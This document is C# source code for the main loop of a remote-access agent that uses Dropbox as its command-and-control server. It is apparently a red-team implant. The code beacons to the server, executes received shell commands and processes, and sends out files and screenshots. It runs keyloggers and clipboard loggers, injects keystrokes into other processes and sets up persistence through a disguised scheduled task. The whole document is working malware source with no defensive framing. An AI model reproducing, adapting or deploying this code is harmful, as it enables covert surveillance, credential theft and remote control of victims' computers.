//================================================================================================== // Main function //================================================================================================== private void Run() { // Get a unique ID for the machine this agent is running on agentID = createAgentID(); mutex = new Mutex(false, @"Global\" + agentID); // Check if another instance of an agent is already running if (!mutex.WaitOne(0, false)) { #if (DEBUG) Console.WriteLine("[ERROR] Another instance of the agent is already running"); #endif return; } //--------------------------------------------------------------------- #if (DEBUG) Console.WriteLine("------------ AGENT STARTING ------------"); #endif // Break flag used to exit the agent bool breakFlag = false; c2StatusFile = "/" + agentID + ".status"; c2CmdFile = "/" + agentID + ".cmd"; // Initializing a DropboxHandler object to handle all communications with the Dropbox C2 server DropboxHandler dropboxHandler = new DropboxHandler(accessToken); #if (DEBUG) Console.WriteLine("[Main] Uploading status and command file to the C2 server"); #endif // Create the c2StatusFile and c2CmdFile on the Dropbox server. These files act as an unique identifier for this agent // as well as a receiver for commands from the server c2CmdFileLastRevNumber = dropboxHandler.putFile(c2CmdFile, Encoding.ASCII.GetBytes("")); c2StatusFileLastRevNumber = dropboxHandler.putFile(c2StatusFile, Encoding.ASCII.GetBytes("")); if (c2StatusFileLastRevNumber == String.Empty || c2CmdFileLastRevNumber == String.Empty) { #if (DEBUG) Console.WriteLine("[Main][ERROR] Cannot create files on the C2 server"); #endif breakFlag = true; } else { #if (DEBUG) Console.WriteLine("[Main] C2 Files created - Agent ready"); #endif } // Set initial sleep time to the nominal polling period with a deviation sleepTime = getRandomPeriod(); //--------------------------------------------------------------------------------- // Main loop //--------------------------------------------------------------------------------- while (!breakFlag) { #if (DEBUG) Console.WriteLine("[Main loop] Going to sleep for " + sleepTime / 1000 + " seconds"); #endif // Wait for the polling period to time out Thread.Sleep(sleepTime); #if (DEBUG) Console.WriteLine("[Main loop] Waking up"); #endif // Calculate next sleep time sleepTime = getRandomPeriod(); //---------------------------------------------------------------------------- // Check if we're in shellMode if (shellMode) { // So we're in shell mode, is there some shell output to push to the C2 ? int currentLength = shellOutput.Length; if (currentLength > 0) { string output = shellOutput.ToString(0, currentLength); shellOutput.Remove(0, currentLength); dropboxHandler.putFile("/" + agentID + ".dd", Crypto.EncryptData(Encoding.UTF8.GetBytes(output), cryptoKey)); } } //---------------------------------------------------------------------------- // At each cycle, 'touch' the status file to show the agent is alive = beaconing c2StatusFileLastRevNumber = dropboxHandler.putFile(c2StatusFile, Encoding.ASCII.GetBytes("READY - " + DateTime.Now.ToString())); // Check the c2 command File revision number string revNumber = dropboxHandler.getRevNumber(c2CmdFile); if (revNumber == String.Empty) { #if (DEBUG) Console.WriteLine("[Main loop][ERROR] Unable to get the revision number for the command file"); #endif // There was an error retrieving the last revision number, skip this turn continue; } //---------------------------------------------------------------------------- // If the revision number is different, that means there's a new command to be treated if (revNumber != c2CmdFileLastRevNumber) { #if (DEBUG) Console.WriteLine("[Main loop] Command file has a new revision number: [" + revNumber + "]"); #endif c2CmdFileLastRevNumber = revNumber; // Read the content of the C2 file string content = Encoding.UTF8.GetString(Crypto.DecryptData(dropboxHandler.readFile(c2CmdFile), cryptoKey)); if (content == String.Empty) { #if (DEBUG) Console.WriteLine("[Main loop][ERROR] C2 command file on the server seems empty..."); #endif continue; } //--------------------------------------------------------------------------------------------------- // Parse the received command to extract all required fields StringReader strReader = new StringReader(content); string result = String.Empty; string command = strReader.ReadLine(); string taskID = strReader.ReadLine(); string taskResultFile = "/" + agentID + "." + taskID; #if (DEBUG) Console.WriteLine("[Main loop] Command to execute: [" + command + "]"); #endif //--------------------------------------------------------------------------------------------------- // Command routing //--------------------------------------------------------------------------------------------------- switch (command) { case "shell": string shellCommand = strReader.ReadLine(); shellMode = true; #if (DEBUG) Console.WriteLine("\t[shell] Executing: [" + shellCommand + "]"); #endif // Send the command to the child process runShell(shellCommand); break; case "runCLI": string commandLine = strReader.ReadLine(); #if (DEBUG) Console.WriteLine("\t[runCLI] Executing: [" + commandLine + "]"); #endif // Execute the command result = runCMD(commandLine); if (result == null) { result = "ERROR - COULD NOT EXECUTE COMMAND:" + commandLine; #if (DEBUG) Console.WriteLine("\t[runCLI][ERROR] External command did not executed properly"); #endif } // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.UTF8.GetBytes(result), cryptoKey)); break; case "launchProcess": string exeName = strReader.ReadLine(); string arguments = strReader.ReadLine(); #if (DEBUG) Console.WriteLine("\t[launchProcess] Executing: [" + exeName + " " + arguments + "]"); #endif // Execute the command if (launchProcess(exeName, arguments)) { result = "OK - PROCESS STARTED: " + exeName + arguments; } else { result = "ERROR - COULD NOT EXECUTE: " + exeName + " " + arguments; #if (DEBUG) Console.WriteLine("\t[launchProcess][ERROR] External command did not executed properly"); #endif } // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); break; case "sendFile": string localFile = strReader.ReadLine(); string remoteFile = taskResultFile + ".rsc"; #if (DEBUG) Console.WriteLine("\t[sendFile] Uploading file [" + localFile + "] to [" + remoteFile + "]"); #endif if (File.Exists(localFile)) { // First push the wanted local file to the C2 server dropboxHandler.putFile(remoteFile, Crypto.EncryptData(File.ReadAllBytes(localFile), cryptoKey)); #if (DEBUG) Console.WriteLine("\t[sendFile] File uploaded"); #endif // The task result is the path to the uploaded resource file result = remoteFile; } else { // Push the command result to the C2 server result = "ERROR - FILE NOT FOUND: " + localFile; #if (DEBUG) Console.WriteLine("\t[sendFile][ERROR] Command did not executed properly. Localfile not found : [" + localFile + "]"); #endif } // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); break; case "downloadFile": remoteFile = strReader.ReadLine(); string localPath = strReader.ReadLine(); string fileName = strReader.ReadLine(); if (localPath == "temp") { localPath = Path.GetTempPath(); } #if (DEBUG) Console.WriteLine("\t[downloadFile] Downloading file from [" + remoteFile + "] to [" + localPath + fileName + "]"); #endif if (dropboxHandler.downloadFile(remoteFile, localPath + fileName)) { #if (DEBUG) Console.WriteLine("\t[downloadFile] File downloaded"); #endif result = "OK - FILE DOWNLOADED AT: " + localPath + fileName; } else { #if (DEBUG) Console.WriteLine("\t[downloadFile][ERROR] Could not download file"); #endif result = "ERROR - COULD NOT WRITE FILE AT LOCATION: " + localPath + fileName; } // remote file must be deleted dropboxHandler.deleteFile(remoteFile); // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); break; case "sleep": int requestedSleepTime; string value = strReader.ReadLine(); if (Int32.TryParse(value, out requestedSleepTime)) { sleepTime = requestedSleepTime * 60 * 1000; #if (DEBUG) Console.WriteLine("\t[sleep] Next sleep is: " + sleepTime + " minute(s)"); #endif // Compute wake up time DateTime wakeUpTime = DateTime.Now.AddMinutes(sleepTime); result = "SLEEPING" + "," + wakeUpTime.ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ssZ"); c2StatusFileLastRevNumber = dropboxHandler.putFile(c2StatusFile, Encoding.ASCII.GetBytes(result)); } else { #if (DEBUG) Console.WriteLine("\t[sleep][ERROR] Invalid amount of time specified [" + value + "]"); #endif result = "ERROR - INVALID AMOUNT OF TIME FOR SLEEP: " + value; } // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); break; case "polling": int requestedPeriod, requestDeviation; string value1 = strReader.ReadLine(); string value2 = strReader.ReadLine(); if (Int32.TryParse(value1, out requestedPeriod) && Int32.TryParse(value2, out requestDeviation)) { pollingPeriod = requestedPeriod * 1000; deviation = requestDeviation; #if (DEBUG) Console.WriteLine("\t[polling] Polling period changed to {0}s with a deviation of {1}% ", pollingPeriod, deviation); #endif result = "OK - PERIOD AND DEVIATION CHANGED"; } else { #if (DEBUG) Console.WriteLine("\t[polling][ERROR] Invalid value for period or deviation [{0}] / [{1}] of {1}% ", value1, value2); #endif result = "ERROR - INVALID INTEGER VALUE FOR PERIOD AND/OR DEVIATION: " + value1 + value2; } // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); break; case "screenshot": // Set the screenshot file name on the C2 server remoteFile = taskResultFile + ".rsc"; #if (DEBUG) Console.WriteLine("\t[screenshot] Taking screenshot and converting it to a JPG image"); #endif // Push the image to the C2 server dropboxHandler.putFile(remoteFile, Crypto.EncryptData(Screenshot.takeScreenShot(), cryptoKey)); // The task result is the path to the uploaded screenshot file result = remoteFile; #if (DEBUG) Console.WriteLine("\t[screenshot] Uploading JPG screenshot to [" + remoteFile + "]"); #endif // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); break; case "keylogger": string action = strReader.ReadLine(); if (action == "start") { keylogged = new StringBuilder(); // Start the keylogging function KeyLogger.OnKeyDown += key => { keylogged.Append("d[" + key + "]\n"); }; KeyLogger.OnKeyUp += key => { keylogged.Append("u[" + key + "]\n"); }; KeyLogger.Start(); #if (DEBUG) Console.WriteLine("\t[keylogger] KeyLogger started"); #endif result = "OK - KeyLogger started"; } else { KeyLogger.Stop(); result = keylogged.ToString(); keylogged.Clear(); #if (DEBUG) Console.WriteLine("\t[keylogger] KeyLogger stopped"); #endif } // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); break; case "clipboardlogger": action = strReader.ReadLine(); if (action == "start") { clipboardLogged = new StringBuilder(); // Start the keylogging function ClipboardLogger.OnKeyBoardEvent += text => { clipboardLogged.Append(text + "\n"); }; ClipboardLogger.Start(); #if (DEBUG) Console.WriteLine("\t[clipboardlogger] Clipboard Logger started"); #endif result = "OK - Clipboard logger started"; } else { ClipboardLogger.Stop(); result = clipboardLogged.ToString(); clipboardLogged.Clear(); #if (DEBUG) Console.WriteLine("\t[clipboardlogger] Clipboard logger stopped"); #endif } // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); break; case "sendkeystrokes": string procName = strReader.ReadLine(); string keys = strReader.ReadLine(); Process[] pList = Process.GetProcessesByName(procName); if (pList.Length > 0) { Process p = pList[0]; #if (DEBUG) Console.WriteLine("\t[sendkeystrokes] Sending key strokes to process " + procName + "\n" + keys); #endif if (KeyStrokes.sendKeyStrokes(p, keys)) { result = "OK - Key strokes sent to process " + procName; } else { result = "ERROR - Could not send key strokes to the process, probably wrong keystrokes sequence"; } } else { #if (DEBUG) Console.WriteLine("\t[sendkeystrokes] Error, could not find process with name " + procName); #endif result = "ERROR - Could not find a process with name " + procName; } // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); break; case "persist": // Get the current command line through which the stage was started, and string oneLiner = Environment.CommandLine; #if (DEBUG) Console.WriteLine("\t[persist] Setting agent persistency through scheduled task"); #endif // Create a fake/misleading batch script in the user's profile string fileDir = Environment.ExpandEnvironmentVariables(@"%USERPROFILE%\AppData\Local\WindowsUserLogRotate"); Directory.CreateDirectory(fileDir); string filePath = fileDir + @"\logrotate.bat"; System.IO.File.WriteAllText(filePath, oneLiner); commandLine = "schtasks /create /TN 'WindowsUserLogRotate' /TR '" + filePath + "' /SC ONIDLE /i 20"; result = runCMD(commandLine); // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.UTF8.GetBytes(result), cryptoKey)); break; case "stop": #if (DEBUG) Console.WriteLine("\t[stop] Stopping agent"); #endif result = "OK - STOPPING"; // Push the command result to the C2 server dropboxHandler.putFile(taskResultFile, Crypto.EncryptData(Encoding.ASCII.GetBytes(result), cryptoKey)); breakFlag = true; break; } } else { #if (DEBUG) Console.WriteLine("[Main loop] revNumber [" + revNumber + "] hasn't changed, nothing to treat"); #endif } } #if (DEBUG) Console.WriteLine("[Main] Exiting... "); #endif }